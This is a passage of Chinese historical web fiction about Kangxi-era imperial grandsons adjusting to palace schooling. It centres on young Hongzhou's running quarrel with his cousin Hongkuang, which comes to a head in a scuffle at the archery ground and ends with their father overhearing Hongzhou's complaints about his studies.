“那你记住了,”弘旷心中气恼,但不知道该怎么办,只能气哼哼说道,“我阿玛是九贝子。” “记住了,”弘昼敷衍道,“你找我有什么事?” 弘旷本来是想要认识一下他的,毕竟坐得近,日后又是在同一个先生手下念书。加上这位的阿玛还是亲王,与自己相交也不算辱没了自己。但他现在已经没了这个心思,他现在心中只想着这人真是讨厌。 “没事。”弘旷憋了半天憋出来两个字。 弘昼用看傻子的眼光看了他两三秒,随后自己转过头去继续用午膳。这午膳用了等会还要去学武呢,现在不抓紧时间吃,下午练习骑射的时候肯定没力气。 弘历的眼神冷冷地扫过了弘旷,好个拎不清的傻子。 第64章 适应 第64章 相较于在学堂里念书,弘昼还是更为喜欢骑射。特别是现在正是春天,天气不热。这宫里头的校场要比王府的大些,但也没大到哪里去,至少在这里跑马应该是没有那么舒坦的。 想起跑马就不免想到庄子了,弘昼其实还惦记着那庄子里种的菜,好歹也是自己亲手种的,也不知道长成什么样了。 抹了一把额头上的汗水,弘昼喘了口气喝了口小周子递过来的水。虽然现在天气还不算很炎热,但练久了身上还是难免燥热出汗。 扭头见四哥也是满头大汗,弘昼又灌了很大一口,随后便又开始练功了。他对武这方面一直很重视,练武能强健身体,这是很重要的。 弘暾练着练着见弘昼和弘历都这般认真的模样,心里起了点争强好胜的心思,不觉也更认真了些。这两个可都是弟弟,他们这样努力若是超过我了那岂不是很没面子。 弘旷也看到了这一幕,他很有些不高兴。这两兄弟真是喜欢出风头,早晨在学堂也是,叫楚先生额外夸了他们,现在练习骑射也要这样装样子。 在入宫之前,弘旷和弘鼎就被阿玛叫过去,九爷特意嘱咐了他们要在上书房好好表现,最好是能拔得头筹。 弘旷本来以为这个要求不难的,他启蒙起就被先生说聪明,在他印象中每回都会被先生夸。本来以为来了上书房也会继续这样,但没想到这位楚先生提出来的问题自己竟然一个都答不出来。 “哼,装模作样。”弘旷低声骂了一句,教他们的武师傅就在前面,他也不敢提高了声音骂。 这些教他们的先生师傅都是正经在朝堂上有官职的,武师傅最差的也是御前侍卫,不比自家府上那些外头聘来的先生。这也让弘旷心里有点忌惮,若是平常在家中,他早就不干了。 太阳逐渐西斜,弘昼看了天无数遍心中想着怎么还没到散学的时间。终于听到武师傅宣布散学,弘昼吊着的一口气散了下来。 实在是太累了。 从前在家的时候,弘昼虽然也跟着师傅习武。但休息的时间不算少,习武的时间也没有这么长,特别是今日早上还是丑时。仔细算算从去上书房念书到现在已经十几个小时了,他是真的很累。 弘历明显也很疲惫,小桩子拿了水壶过来,他接过水壶直接一口气喝了大半壶才勉强解了些口中的干渴。 这校场上大部分人都是他们这样疲惫的表现,在王府的时候不少人是没有这样严苛的要求的。只除了三人,表现得很是自如。 那便是康熙还在上书房念书的三个皇子,这三位并不与其余的皇孙们一起。在皇孙们进宫前,这几位就已经定下了先生和武师傅。 胤祎放下了手中的弓箭,对着旁边的哈哈珠子说道:“真不知道汗阿玛怎么突然往上书房塞了这么多人,这校场平日里空空旷旷的,今儿瞧着是真挤。” “这皇上的想法,岂是咱们能揣测的。”哈哈珠子笑道,“这进来的人多了,倒也热闹些。” “这年纪小的太多了,瞧着年纪大的倒是没几个。”胤祎有些不屑,“我才懒得和这些小孩子玩,再过两三年我就能求着汗阿玛让我不必接着来上书房了。” “到时候出去办差了,便能轻松不少了。”哈哈珠子应了一声。 似乎想到了日后不用申时就起床的日子,胤祎脸上也露出了笑意:“咱们走吧,在这晒着太阳也没什么意思。但愿汗阿玛今儿过来只是一时新鲜,日后少来上书房才好,他一来上书房先生们便严厉了不少。” 又听哈哈珠子捧了几句后,胤祎正准备回自己的院子,就见迎面走来一人。 “侄儿见过二十叔。”来人行礼。 胤祎被拦住了去路,他有些不悦:“你是哪家的?” “侄儿弘昉,阿玛是大阿哥。”弘昉笑道,“从前在家中的时候就听阿玛提起过二十叔,今日一见果然如传闻一般丰神俊朗。” 胤祎上上下下打量了他一番,嘴里冒出一声笑:“你阿玛和我有什么交集,要在家中提我?我出生不过两三年,他就被圈禁了。” 这夹枪带棒的话,让弘昉原本的笑意僵在了嘴边:“咱们都是一家人,从前就听闻二十叔素日里不论功课还是武艺,都是咱们同龄人中拔尖的。便一直想向二十叔讨教讨教,好学学这是怎么学的,也好让我长进长进。” 即便这位比自己还要小两岁的二十叔说话这样不客气,弘昉态度依旧很不错。他跟在阿玛身边实在着急,他都已经十三岁了,过两年就要娶福晋办差事了,但阿玛被圈禁连皇玛法的面都见不到,真是一点忙也帮不上。 而他额娘家世极差,当初入大阿哥后院的时候,只是一个小小的侍妾,若家世能稍微好一点便至少也是位格格了。嫡额娘虽说家世不错,但嫡额娘素来懒得搭理他们,更不可能托娘家人为他们这些不是亲生的儿子打算。 这次得知皇玛法要让诸位皇孙进宫念书他欣喜若狂,这是他的机会,只要取得一个略有些分量的人看着,甚至是取得皇玛法的看重,他日后总归还是能有前途的。 “这样恭维的话,”胤祎凑近了弘昉,他比弘昉要小两岁,身高也要矮些,但气势却一点也不输,“你说出来不违心吗?” 这句话说完后,胤祎无视掉了弘旺有些错愕的眼神笑道:“我的念书如何,我自己也是知道的,这样恭维的话听起来……太假了。还有,我不关心你是哪家的,但若是再往我跟前凑,那我必然要你好看。” 说罢,胤祎转身离去,没有留给弘昉一个眼神。 看着胤祎大摇大摆离去的背影,弘昉握紧了手中的拳头。他的心中恨极了,阿玛是在他已经记事的时候被废的,尤还记得当初年幼时在直郡王府锦衣玉食前呼后拥的日子。现在即便入宫了,可这宫里都是见风使舵的人,他们的院子都是破旧不堪的,分过来的奴才也是愚笨惫懒之人。 他无比想要改变现状,便想着先和上书房中年龄最大的皇子示好,毕竟谁不知道皇上对年龄不大的皇子都极为宠爱纵容。 现在校场内的人都走得差不多了,弘昉收拾了一下愤怒的心情便也准备走了,他还要急着回去温书用膳呢。既然都来了上书房,自然要力争上游才有可能让皇玛法注意到他。 “弘昉堂兄请留步。”弘昉刚踏出校场,便见另一边的树旁走出了一个人。 弘昉警惕地看向来人:“你是何人?” “弟弟年纪小身体又不大好,不常在外走动。”来人笑眯眯地说道,“我阿玛是八贝勒,与大伯可是同出玛姆的延禧宫。” 大皇子胤禔被圈禁后,他们这些孩子在年节宫宴的时候自然不能入宫赴宴。弘旺身体不好,除却年节的时候一般不会入宫,弘昉虽被惠妃宣过几次,但确实并未碰见过这位堂弟。 听说他是出自八贝勒府,弘昉警惕的脸色淡了些:“原来是弘旺。” “我阿玛从前就养在玛姆手下,咱们本就是极亲的堂兄弟。”弘旺凑上去笑道,“合该好好亲近亲近才是。” 弘昉从善如流地被他拉着走了,虽说八叔这两年不大得皇玛法的看重,但无论如何都比他阿玛要好许多。况且这位可是八叔的独子,日后再怎么说也是有个贝子爵位的,比他这个还没着落的人要好上不少,与之交好不吃亏。 和胤禩的俊秀不同,弘旺长得极为憨厚,是一张扔在人群中会被人认定为友善的脸。他凑过来示好的时候,下意识便让人觉得是极为真诚的- 回到自己院子的弘昼看着眼前已经摆好的晚膳,感受着肚子传来的敲鼓声,坐下就拿起碗筷开始大快朵颐。 弘历的饭是和弘昼的摆在一张桌子上,他坐在弘昼对面拿起碗优雅地吃了起来。动作虽然依旧谨守用餐礼仪,但那比平常加快不少的速度能看出他也很饿了。 吃了个半饱后弘昼放慢吃饭的速度开始享受美味,这宫里的饭菜是真不错,吃了这几天还没吃到过重复的,而且没有一道翻车的菜。 自从小周子和小桩子一起去大厨房领了两三回的饭菜后,钱总管就知道了雍亲王府的这两位小阿哥是一起用膳的,给他们俩的菜色就没有过重叠了。 将肚子填到了八分饱后,弘昼依依不舍地放下筷子,端起一碗汤慢慢地喝了起来。他们的作息是用膳不久后就要睡觉,若是把肚子吃得太饱了容易消化不。良。 今日这一天的学习让弘昼现在已经很困顿了,眼睛开始不自觉地一闭一闭的,脑中的困意逐渐涌来。 “困了就快些去睡吧。”弘历放下筷子,也打了个哈欠,“明儿还要早起呢。” 听见还要早起这四个字,弘昼就想起了今天早上起床的时候天色全黑的样子。接着就想到这样的日子还要持续二十几天自己才能迎来休沐,顿感无望。 饭摆在弘昼的东厢房,大门敞开院中的场景一览无余。此时弘时从外面走了进来,他的脑袋微微昂着,似乎心情不错,路过弘昼屋子的时候瞥了一眼,冷哼了一声。 虽说住在一个院子了,但这位三哥从来不与他们往来,一直坚持井水不犯河水的策略。前两日在宫中适应的时候,弘时一直都是早早就出门了,傍晚才回来。 弘昼本来还以为今天上了这么久的学了,三哥应该也挺累的。但是看着模样,三哥的精力是真不错,这样繁忙的学业下依旧能抽出时间来与他交好的人互动。 脑袋被轻轻拍了一下,弘昼扭头控诉四哥。 弘历收回了他刚刚拍弘昼脑袋的手:“想什么呢?用过膳了就去洗漱早些休息吧,不累吗?” 小周子和小桩子已经开始撤下桌上的杯盘碗盏,弘昼打了个哈欠感受到困意让自己的脑子在思考的时候迟钝不少,对着四哥点了点头表示自己知道了后便进了内室洗漱。 内室里已经备好了热水和寝衣了,进了宫后弘昼身边伺候的人减少了许多,让他很多时间都要自己打理了。好在他并不是真小孩,自理能力不算差,对这些事情也能应付。 弘历起身,看了看正房的位置,眼中闪过一抹幽深之色,随后便回了他的西厢房。 翌日 弘昼被小周子叫起来的时候,觉得眼睛沉沉的,比昨日起床的时候要累多了。毕竟前两日休息得很好,昨日被叫起床虽然有些不习惯和疲惫,但总体也没有疲惫到起不来床。 但现在的弘昼就有这种感觉,眼皮沉沉的,脑袋里似乎裹了一圈浆糊,思考的时候被黏住了。即便强迫自己起床了,但动两下就会不自觉开始发呆。 小周子看见自家主子喝了两口粥后就开始发呆,无奈叹了口气开始提醒:“主子,再不快些只怕咱们要去迟了。” “不吃了。”弘昼把粥碗放下,喝了口清水,“走吧,去上书房。” 走出自己的东厢房,见四哥在西厢房已经用完膳了,此时正拿着一本书看着。见他出来了,将书随手放下也走了出来。 来到上书房后,弘昼留意了一下,果然见大多数人脸上都带着困倦。甚至有两位兄弟眼底出现了青黑之色,眼睛里面已经有了红血丝。 坐到自己的位置上后,弘昼忍不住又打了一个哈欠。 这一个哈欠打了后,周围一圈的人也跟着打了哈欠。所有人都盯着自己眼前的书,眼神直愣愣的,似乎是醒着,但意识还在不在就不好说了。 直到诵读的环节过去,上书房中充满了点心的香气弘昼才彻底清醒。他早膳就喝了两口粥,现在肚子饿的已经开始抗议了。 其他人也是差不多的表现,见到点心后动作快了不少。 今日康熙没来考校功课,让弘昼略放松了些,他现在一团浆糊的脑子若是提问的话,可能连最简单的问题都不一定能答出来。 用过点心后,楚先生就过来了,他看着自己面前的六个学生,唯有两个称得上是眼神清明的样子略皱了皱眉。但他并未多说什么,只是直接开始讲课。 脑袋混沌的情况之下,即便楚先生的课再生动有趣,弘昼也很难集中精神去听。他听了一会儿就开始神游,反应过来后就继续听,然后又开始忍不住神游。 直到楚先生带着书离开的时候,弘昼似乎才清醒一点。 这样脑子混沌的日子弘昼过了好几日,才跟上了上书房的作息节奏,终于在早上起床的时候脑子不再是一团浆糊的感觉了。 似乎是因为身体适应了这样繁忙的节奏,弘昼逐渐开始有精神了起来。前几日听课都不能集中精神,这几日已经能在用点心的时候有余力和四哥说几句话了。 上书房中的其他人亦是如此,大家头几日开始念书的时候都是死气沉沉的,绝大部分人的眼睛里都带着疲惫。但这几日都适应了,上书房也逐渐开始出现些笑闹声,毕竟能在这里念书的年龄都不大,熟悉之后很快就开始玩闹。 弘昼在其中发现了一个似乎人缘很好的人,那是八叔家中的独子弘旺。这位堂兄要比他大上两三岁,似乎和许多人都关系不错,随时都能聊几句。最让弘昼意外的是,自家这位眼高于顶的三哥竟然和这位弘旺关系也不错。 要知道弘时只和诚亲王和恒亲王府的这几位来往,弘旺还是他第一个搭理并且给了好脸色的其余府上的阿哥。 但在弘昼不知道的是,弘时愿意搭理弘旺是因为他对八叔的感官很好。弘旺笑起来的时候很像八叔,加之这可是八叔唯一的儿子,日后必定是要继承爵位的。 人缘好也是有遗传的吗,弘昼在心中想到,似乎这位八叔的人缘就很不错。不过自家阿玛似乎并不是很喜欢这位人缘不错的八叔,偶尔提及的时候都是皱着眉的。 似乎是弘昼盯着对方看的时间有点久,弘旺的眼神望了过来,对上弘昼的眼神后对他温和地笑了笑。那似乎是个充满了善意的笑,那张憨厚的脸上出现这样的笑意后,让人不自觉就感到亲近。 但弘昼完全没有这个感觉,他只是平淡地移开了眼神,假装自己没有往那边看。 “噗——” 旁边传来了一声嘲笑,弘昼望过去对上了弘旷的眼神。自从第一日不愉快的对话开始后,弘旷只要能逮住机会,就必然要对弘昼冷嘲热讽一番。 “你不会是在羡慕弘旺堂哥吧。”弘旷靠着椅子,挑了挑眉,“还是好好瞧瞧自己几斤几两吧,你这样也配羡慕弘旺堂哥。” 弘昼从小和弘暾走得近是因为阿玛四爷和十三叔走得近,弘旷自小便认识弘旺这位堂哥了,理由也是一样的,八爷和九爷平时好得宛如穿了一条裤子。 现在见弘昼似乎在痴痴地望着弘旺堂哥,弘旷心里不由自主地升起了一股优越感。上次那样高傲,还不是想和弘旺堂哥交好,自己和弘旺堂哥开始已经认识多年了。 弘昼宛如看一个神经病,看了弘旷一眼后就收回了目光。他是理解不了这位兄弟在想什么了,这两天看到他就跟乌眼鸡似的,还经常说些奇怪的话。 第65章 砸死你 第65章 “怎么,被我说中了?”弘旷更得意了。 弘昼慢吞吞说道:“你这是在推己及人?我不过是看了他一眼罢了,就能让你想到这么多,看来平日里你是很羡慕他了。” 这话让弘旷的神色略微一变,他确实是很羡慕这位堂哥。这位堂哥在八叔的府上说一不二的,自家阿玛和十叔待他也很好,他偶尔也会想若他是阿玛唯一的孩子,是不是也会和弘旺堂兄一个待遇。 “哼。”弘旷冷冷地哼了一声,“你这样讨厌的人,想来在家中也是不得阿玛喜爱看重的。” “我在家*中是否得阿玛看重喜爱,这也与你无关。”弘昼歪了歪脑袋说道,“但你应当在家中不得九叔看重吧。这回九叔府上进来了五位,你既非幼又非嫡,是不是平日里在家中九叔都记不起还有这个儿子呀?对了,一个府中只有一个院子,可这院子就这么大,统共就正房和东西厢房,你住哪?不会是住在倒座房吧。” 倒座房是一个院子中最南端的那处,因为门窗朝北,采光不好一般都是用作客舍或者下人居住的。 弘昼他们院中的倒坐房就是住的下人,但弘旷他们进来的孩子多,足足五个人,自然就没法讲究太多。 而弘旷和其余四个兄弟相比,额娘不算得宠,他也不受阿玛的看重,年龄也比不上上头的三位哥哥。所以他确实是住的倒坐房,这话一出他直接破防,脸上肉眼可见的带上了凶狠之色。 弘鼎微微挑了挑眉,他额娘在阿玛那里受宠,在府中也说得上话。是以他虽然序齿最小,但却能住上西厢房,这位四哥往日里蠢笨就算了,他实在是想不通去挑衅四伯家中的弘昼是有什么好处。自家阿玛都还只是贝子,四伯都已经是和硕亲王了,就算不交好起码也要做到井水不犯河水才对。 这时太监们端着午膳进来了,上书房里充满了食物的香气,弘昼的注意力也放到了面前的美食上。在这样忙碌的上书房生活中,唯一能略微抚慰一下他忙碌心灵的也只有美食了,这饭菜真好吃。 见弘昼不看自己了,弘旷心中更愤怒了,他觉得他们之间的吵架还没完。特别是看着自己面前的饭菜和弘昼的饭菜一比就知道,自己这份饭菜更为敷衍,这让他心中愤怒噌噌噌往上涨。 似乎是被气到了,弘旷直接起身离开,连桌子上的午膳都不顾。 弘昼拿起筷子开始吃饭,现在念书的强度高起来了,他食量也渐渐开始变大了。 一边已经坐下的弘旺看向了这边,嘴角的笑意更加明显了。 弘历在一旁安静用膳,这几天虽然不知道弘旷为什么总是和弟弟过不去,但他一直没见弘昼吃过亏便也没有开过口。这样打嘴仗的事情,也分不清对错,只要弟弟不吃亏就好。 “你们俩几乎每天都要来这么一遭。”恒亲王府的弘曈无奈摇头,“也不嫌腻。” 弘昼咽下了嘴里的一口饭菜才开口:“你们也看到了,我可没有主动招惹过他一回。谁知道他为什么这样看我不顺眼,好似是从第一日起就这样针对我。” “我看八成是你们俩八字不合,”弘曈调侃道,“许是天生的,不然怎么会这样看不顺眼。” 淳郡王府的弘暻也加入了这场讨论:“本来这来上书房中我还颇有些不适应,但这每日里看你们俩斗两场嘴,还真是身上的疲乏都消了些。” “好啊,你把我们当戏看。”弘昼从饭菜里抬起脑袋控诉。 弘暻笑道:“我知道你也不介意,这上书房中实在是无聊,整日里除了念书就是念书,一点旁的玩乐也没有。我阿玛甚至为了让我好好念书,除了衣裳其余的一概不准带进来。” “就算是带进来了,你难不成还有时间玩?”弘历道。 弘曈苦着脸:“是啊,我这一回去便只想睡觉了。一想还要练一下午的骑射,我就觉得难捱,从前在家中的时候怎么没发现这骑射就这么累呢。” “那肯定是你平日里在家练骑射的时候没有认真。”弘昼吐槽,“若是认真了,哪有不累的。” “呸呸呸,你这是给我扣帽子。”弘曈不满,“你又没有见过我在家中练骑射,怎么知道我不认真。” “他是没见过。”弘暻挑眉出了个馊主意,“但你两位哥哥可是见过的,同在上书房中,我们可是出了这个屋子就能问出来的。” 终于将自己的肚子填饱了些,弘昼吃饭的动作慢了下来:“就是就是,撒谎可不是个好习惯。” 这一下掐住了弘曈的命脉,他不喜欢骑射,在家中还真练得不算认真。若是当真去问两位兄长,那他的面子往哪搁。 弘鼎在一旁保持着食不言的规矩慢慢用膳,默默听着他们说话。 午膳用完了之后,弘昼瘫在椅子上假寐。午休是没时间了,趴在桌子上的话他又容易睡着,睡着了被叫醒的时候太过难受了。 弘历温习着上午学的东西,他这段日子学得不错,得了楚先生好几次的夸赞。这几天皇玛法几乎日日都来上书房,不过都是去的其他屋子,但总有来这里的时候。 放在屋内的西洋钟响了一下,弘历伸出手推了一下弘昼:“该去校场了。” 弘昼睁开眼,他的眼底带着乌青。自从进宫以来,他就没有睡足过觉,现在但凡有一点时间就想闭上眼休息一眼。 “走吧。”弘昼起身打了个哈欠。 走到校场,弘旷已经在了,他朝着弘昼的方向睨了一眼,重重地冷哼了一声。 弘昼假装没听见,开始活动自己的身体。 校场上人渐渐多了起来,弘昼看到了弘时还有弘暾。 老远的,弘暾对着他挥了挥手打招呼,弘昼也抬起手有气无力地回应了一下。 武师傅过来了,弘昼拿起弓箭开始练习射箭的姿势。他最近开弓的姿势已经很熟练了,这几日武师傅已经要他们对着靶子试试射箭了。 正当弘昼拿着手中的弓练习的时候,被一股力道击中了背部,随后便听见有什么东西掉落在地上。 弘昼皱着眉转头,就看到了弘旷拿着弓高傲地看着这边,脚下掉落的是一支箭。他们这些年纪不大的阿哥手中的箭是没有打磨箭头的,加之弘旷的力气不算大,所以这支箭对弘昼没有一点的损伤,只是让他有点烦。 “真是对不住了,我手里也没个准头。”弘旷笑得得意扬扬的。 弘昼拿起旁边的箭,很迅速地弯弓搭箭也将这支箭射到了弘旷的身上。他的力气也不大,这支箭打在弘旷身上的时候明显能看出来力道不大,轻轻掉落在地上了。 射完这支箭后,弘昼才对着弘旷假惺惺地笑着:“我也不是故意的,真是对不住了。” 弘旷原本的笑意褪。去,他的眼睛里逐渐开始染上了怒火,盯着弘昼的时候这率怒火就更为明显了。 “哎呀,”弘昼看着弘旷眼睛里的怒意,浅笑道,“你不会是生气了吧,不应该呀,我都已经道歉了。” 他们俩这明显对峙的态度让周围不少人注意到了,连武师傅的眼神都在往这边看过来。 弘旷恨恨地盯着弘昼看了两眼,他深呼吸了一下似乎想要忍下,但理智在触及弘昼那带着得意的笑容瞬间就消失了。他将手中的弓猛地朝着弘昼砸过去,在这一瞬间内心想法是很想用这张弓砸死这个讨厌的人。 第66章 厌学 第66章 这把弓砸到了身上,说实话其实不是很疼,至少弘昼不觉得这样一把弓能给自己带来什么身体上的伤害。但他还是第一时间就沉下了脸,冷冰冰地盯着弘旷。 弘旷被弘昼的眼神吓了一跳,弘昼大部分的时候脸上都是带着笑容的,即便很是疲惫的时候最多也就是面无表情,像这样冷冰冰的表情还是 第一回见。 即使心中有点打怵,但弘旷面上一点也看不出来,他昂着脑袋看着弘昼似乎一点也不在乎。 在弘昼还没做出什么反应的时候,弘历就已经将手上的东西砸了出去。他用的力道不算小,这把弓打在了弘旷的脸上,让他的左颊被打出了一道红痕。 “你!”弘旷从和弘昼眼神对峙中抽离出来,愤怒地指着弘历,“我又没有招惹你。” “你招惹了我,就是招惹我四哥。”弘昼看着自己手上的弓,想着要不要把手上的这个也扔过去。 被欺负了一定要在第一时间反击,即便打不过也要反击。否则当对方觉得你是个好欺负的人的话,那行为就会逐渐开始过分。 武师傅也反应过来了,沉下脸走到了他们身边。他刚刚在指导弘曈的射箭姿势,虽然也看到了弘旷和弘昼对峙的那一幕,但他是真没想到这几位竟然当真能在校场上打起来。 见到武师傅过来,弘旷心里害怕了一下,但转念一想,就这么点事情应当最多被师傅训斥一下。应该不会告诉阿玛和皇玛法的吧,皇玛法那么忙,肯定没时间关注这些小事的。 “方才是怎么回事?”武师傅的眼神在三人身上来回穿梭,本来应该是两人的,但后面弘历动手了所以是三人。 “乌善师傅,”弘昼最先开口,“在场的人应该都看见了,是他先动手的。他先是将箭射到了我身上,我射回去后他就用弓扔我。我四哥是为了维护我,才会和他动手的。” 乌善的眼神转向了弘旷:“是这样吗?弘旷阿哥。” 这里的动静吸引了不少人的注意,弘时老远看着皱起了眉,小五那小子不会给府中惹事吧。从小就知道他不是个好的,出来也给府中丢人。 胤祎也往这边看,一边看一边和旁边的哈哈珠子说道:“也就是上书房这些日子热闹了,平日里哪能看到这些好戏。啧啧啧,这才进上书房几天就闹出事来了,但愿汗阿玛不要将他们都赶出去,不然我可就看不到这样的好热闹了。” “谁说不是呢。”哈哈珠子也盯着这边,“瞧着像是雍亲王府的阿哥和九贝子府的阿哥闹起来了,你说会闹到皇上那去吗?” “汗阿玛那里闹不过去吧。”胤祎说道,“这么点小事,多半是武师傅互相骂两句得了。” 二十一阿哥胤禧蹭了过来:“二十哥,你瞧什么呢?” “去去去,小孩子一边去。”胤祎挥了挥手不耐烦说道。 二十二阿哥胤祜笑道:“怎么样,我就说二十哥肯定不会搭理你的,胤禧你输给我了,记得将你新得的那个霸王鞭送到我的院子里去。” “我是你哥,”胤禧不高兴,“送可以,但你要叫我二十一哥。” 胤祜小声嘟囔:“大几天的哥。” “你说什么?”胤禧不高兴地看过来。 胤祎头疼地捂了捂耳朵:“你们俩吵架去别的地方吵,我看戏呢。从前这上书房没几个人你们就非要到我跟前来吵架,现在上书房人这么多了,怎么还是非要到我跟前来吵架。我又不是知府,判不了你们俩的案子。” 胤祎上头的一个在上书房念书的哥哥,比他大了九岁,也就是胤祎刚来上书房这位十七哥就出去办差了。在这两位弟弟来上书房之前,胤祎都是自己带着哈哈珠子念书的。 本来这两位弟弟刚来的时候胤祎还是很开心的,毕竟多个人多个伴儿。但他们来了还不到俩月,胤祎就不堪其扰了。 胤禧和胤祜几乎日日要吵架,而且一吵架就喜欢往他这个哥哥面前跑,要他断案。一次两次的还好,这么多次下来胤祎几乎一看到他们吵架就头疼。 这边在吵着,那边也不安生。 乌善的问话弘旷自然不可能承认,他果然摇头:“我那是不小心射到他的,不是故意的。但他后来射我却一定是故意的,我看见他专门瞄着我射。” 乌善的脑袋有点疼,他是真不想参与这些皇孙们的争端。这几位的阿玛都不是好招惹的,不论他最后处罚谁都可能会被穿小鞋。 见两人各执一词,便各打五十大板,两人都训斥了几句。心里盘算着,若是这两位还是一直这样,他便想直接告假俩月,等皇上派了新人过来教再回来继续当他的御前侍卫了。 对这个结果弘旷明显不大满意,他张了张嘴似乎想说什么,但被乌善凶狠的目光瞪了回来。只能微委委屈屈地被骂了两句后,再继续练习骑射。 自己不算吃亏了,但弘昼心情还是受到了影响,他脸上的笑意收了回去,开始面无表情地练习骑射。 原本往这里看的人见没有好戏了,也各自移开了目光。 胤祎有些失望地收回了目光,本来以为能看一出好戏来着。没想到两个都是软蛋,竟然闹不起来。 弘旺眼神中带着若有所思,看看弘旷又看看弘昼,随后又往弘时那看了一眼。嘴角微微勾起了一抹笑意,手上练习的动作不慢,但明显能看出心中藏着事。 见这边解决了,弘时便不再关注了。只要这两个小的不给他在宫里丢人就是了,其余的他是一点也不想管。 到了散学的时间,弘昼将手中的弓箭放下,转过脑袋看着弘旷冷声道:“你这段日子一直喜欢在我旁边冷言冷语,这些倒也罢。但是像今天下午这样的事情若是再有第二遍,那我的反击就不会像今天一样这么简单了。” 弘历站在弘昼的身旁,也冷漠地盯着弘旷。 弘旷看着他俩,本想出言嘲讽,但被弘昼冷漠的眼神盯得有点怂。又见对面是俩人,才将自己嘴中原本想要骂出的话吞了回去。 警告完弘旷后弘昼就走了,他今天是真的有点被整烦了。在上书房念书已经这么累了,他不想再抽出时间来和他玩这种死对头的游戏。若是弘旷今天之后再不收敛,他会想办法给他一个深刻的教训。 弘旷看见弘昼和弘历走后,扭过头看着一旁接过小太监递过来水壶的弘鼎怒道:“你为什么不帮我?” “我为什么要帮你?”弘鼎喝了一口水后露出了匪夷所思的表情,“咱们平日里的关系很好吗?” 虽说同出九贝子府,但他们这进来的几兄弟也就大哥和二哥是同母。其余的都是异母兄弟,从前在家中的时候也是要争长短的。弘鼎自觉平日里和这位四哥的关系并不算好,甚至还起过两次冲突,他怎么敢在这种情况质问自己。 “至少咱们都是一家子的,”弘旷愤怒,“阿玛让我们进宫后要互相扶持,你难不成都忘了?” 弘鼎笑出声来:“那你既然有这个心,那就和二哥三哥互相扶持去吧。我没有将你在上书房这段日子找事的事情告诉阿玛已经是我在手下留情了,你若是再惹我,等休沐回府的时候我可不介意专门去找阿玛聊聊。” “还有,”弘鼎挑眉补充道,“你以后要去惹弘昼也好,惹弘历也罢,甚至去招惹弘曈和弘暻我也懒得管你。但是你干这种蠢事的时候,记得一定不要把我扯进去,不然你是一定会后悔的。” 说完话,弘鼎也不管弘旷的表情,带着小太监便离去了。 被留在原地的弘旷,将手里的弓往地上一摔,心中被怒火充盈。 “怎么一个人在这?”一道身影从校场门口走过来,脸上带着笑意,声音很是关切。 弘旷抬头,眼中带上了一点警惕。 另一边弘昼在弘旷面前放完狠话走出校场后,心情就好了不少。每天在这个时候,沐浴着下午的阳光往院子走的路程是最为舒服的路。 和早晨起床时点着一盏灯往上书房走时的麻木不同,现在往回走的时候心中会很自然地升起一股幸福感。 弘历走在弘昼身边:“别生气了,若你明日还不高兴,我们便揍他一顿解解气也没什么。” “生气?”弘昼摇了摇头,“我已经不生气了,四哥你看那边,那些鸟儿叫得还挺好听的。” 顺着弘昼的手指看过去,有几只鸟儿在屋檐上蹦蹦跳跳的。弘历看了看弘昼的脸色,确定他现在的确是不生气的才跟着弘昼一起观察那几只小鸟。 “每天也就这时候我心情会好。”弘昼看着太阳已经渐渐往山下落了,“早晨起来的时候不想说话,在上书房和校场的时候总是感觉烦闷。只有散学了,似乎才会心情好些。” 弘历没有这种感觉,他想了想说道:“你是不是不喜欢念书?” 在王府的时候弘历就感觉到了,弟弟对念书似乎没有什么兴趣。虽然一直跟着先生念书,先生布置下来的功课也完成得很不错,但弘历能瞧出来弟弟每次在书房跟着先生念书时和在外面玩时的表现是截然不同的。 “我的确没有那么喜欢。”弘昼长叹了一口气,“本来也不算讨厌的,但在这上书房中每天要念这么久,慢慢的就感觉到烦了。” “是吗?”一道幽幽的声音从后面传来,弘昼还没听出什么不对,只一个劲儿点头。 但弘历在第一时间就扭过头去了,果然看见后面站着自家阿玛。 第67章 告状 第67章 弘昼还无知无觉地点着头:“是啊,再在这上书房多待些日子,我也要开始厌学了。” 弘历小心翼翼地看了眼自家阿玛的表情,然后轻轻扯了扯弘昼的衣裳。他现在不敢直接开口提醒,但是这样轻微的提醒还是可以的。 四爷冷着脸看着弘历的小动作,并未说什么。 但弘昼依旧没有察觉到什么不对,他还在抱怨着上书房的念书时长。还有最令他诟病的就是起床时间,丑时末就要起床,这实在是有点太不人道了。 听着小儿子的抱怨,四爷的脸色越来越冷。 弘历盯着阿玛的脸色,最终还是忍不住轻轻咳了一声。 听见四哥的咳嗽弘昼终于停下了抱怨,转头看向四哥问道:“怎么咳嗽了,四哥你是不是受寒了?” 这一转就看到了身后似乎有什么东西,弘昼转过头去就看到了自家阿玛黑沉着一张脸,不知在自己身后站了多久了。 “阿,阿玛?”弘昼一激灵,脑中瞬间闪过自己刚才说的话,小心翼翼问道,“你什么时候过来的,怎么也不出声。” “若是出声了,怎么能听到你这么多的抱怨呢?”四爷看着小儿子突然变脸的样子,不由自主的心情好了点。 弘昼尴尬,要是知道阿玛在身后他肯定不会这样抱怨的。最多小小地抱怨一下,肯定不会抱怨这么多的。 “咳,阿玛怎么这时候来看我们?”弘历看着弟弟尴尬的神情,有些生硬地转移话题。 “你们自己在校场上做的好事,现在便忘了?”四爷的语调平平,即便是质问的话说出口来也像是一句陈述。 刚才一路走过来,弘昼几乎已经将校场上的事情抛之脑后了,现在被阿玛提起心中又愤愤起来。 “那是他先来招惹我的。”弘昼撇着嘴说道,“倘若他不来招惹我,我是懒得理他的。也不知道他是中了哪门子的风,似是天生就和我不对付,第一次见到我的时候说话就夹枪带棒的。” 四爷没说话,而是带着他们回了阿哥所的院子。看着这院子中的一草一木皆和自己在时已经不同,四爷眼中闪过了一丝恍惚,然后带着他们俩坐在了院子的石凳上,让伺候的人上了茶之后便下去了。 “说说吧,是怎么一回事。”四爷抿了一口茶,慢慢悠悠地问道。 其实若是吵架拌嘴这样的小事,四爷也不一定能知道。但在校场上差点打起来了,这样的大事他放在上书房周边的耳目自然也不敢耽误,几乎是一出这事就立刻向他禀报了。 弘昼便一五一十将自己这段时日在上书房和弘旷斗嘴的事情都说了,他不觉得这件事是自己的错,所以说起来的时候一点也不心虚。毕竟每件事都不是自己挑出来的,都是弘旷先来招惹自己的。 按照弘昼对自家阿玛的了解,只要不是自己先找事,他应该是不会责备自己的。 